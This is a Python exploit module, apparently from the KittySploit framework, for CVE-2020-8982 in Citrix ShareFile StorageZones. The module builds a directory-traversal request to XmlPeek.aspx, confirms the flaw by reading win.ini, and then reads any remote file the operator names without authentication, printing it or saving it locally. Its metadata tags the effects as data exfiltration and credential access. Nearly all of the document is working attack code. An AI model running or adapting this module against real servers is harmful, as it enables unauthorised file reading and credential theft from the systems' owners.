Citrix ShareFile File Read (CVE-2020-8982)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Citrix ShareFile StorageZones file read (CVE-2020-8982)."""

from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Exploit, Http_client):
    __info__ = {
        'name': 'Citrix ShareFile File Read (CVE-2020-8982)',
        'description': (
            'Exploits CVE-2020-8982 in Citrix ShareFile StorageZones <=5.10.x: unauthenticated '
            'arbitrary file read via XmlPeek.aspx path traversal.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2020-8982'],
        'platform': Platform.WINDOWS,
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2020-8982'],
        'tags': ['citrix', 'sharefile', 'lfi', 'vkev'],
        'agent': {
            'risk': 'high',
            'effects': ['data_exfiltration', 'credential_access'],
            'expected_requests': 2,
            'reversible': True,
            'approval_required': True,
            'produces': ['file_read'],
            'chain': {'suggested_followups': ['scanner/http/cve_2020_8982_detect']},
        },
    }

    file_path = OptString('Windows/win.ini', 'Remote path (Windows style)', required=True)
    output_file = OptString('', 'Local output file', required=False)

    def _path(self, remote: str) -> str:
        depth = r'\\..\\' * 8
        target = remote.replace('/', '\\').lstrip('\\')
        return f'/XmlPeek.aspx?dt={depth}{target}&x=/validate.ashx?requri'

    def execute(self, remote_path: str) -> str:
        r = self.http_request(method='GET', path=self._path(remote_path), allow_redirects=False)
        return (r.text or '') if r and r.status_code == 200 else ''

    def check(self):
        body = self.execute(str(self.file_path or 'Windows/win.ini'))
        if all(m in (body or '') for m in ('bit app support', 'fonts', 'extensions')):
            return {'vulnerable': True, 'reason': 'ShareFile XmlPeek traversal confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'ShareFile LFI failed', 'confidence': 'medium'}

    def run(self):
        if not self.check().get('vulnerable'):
            print_error('Citrix ShareFile not vulnerable')
            return False
        body = self.execute(str(self.file_path or 'Windows/win.ini'))
        out = str(self.output_file or '').strip()
        if out:
            with open(out, 'w', encoding='utf-8', errors='replace') as fh:
                fh.write(body)
            print_success(f'Saved to {out}')
        else:
            print_success(body[:4000])
        return True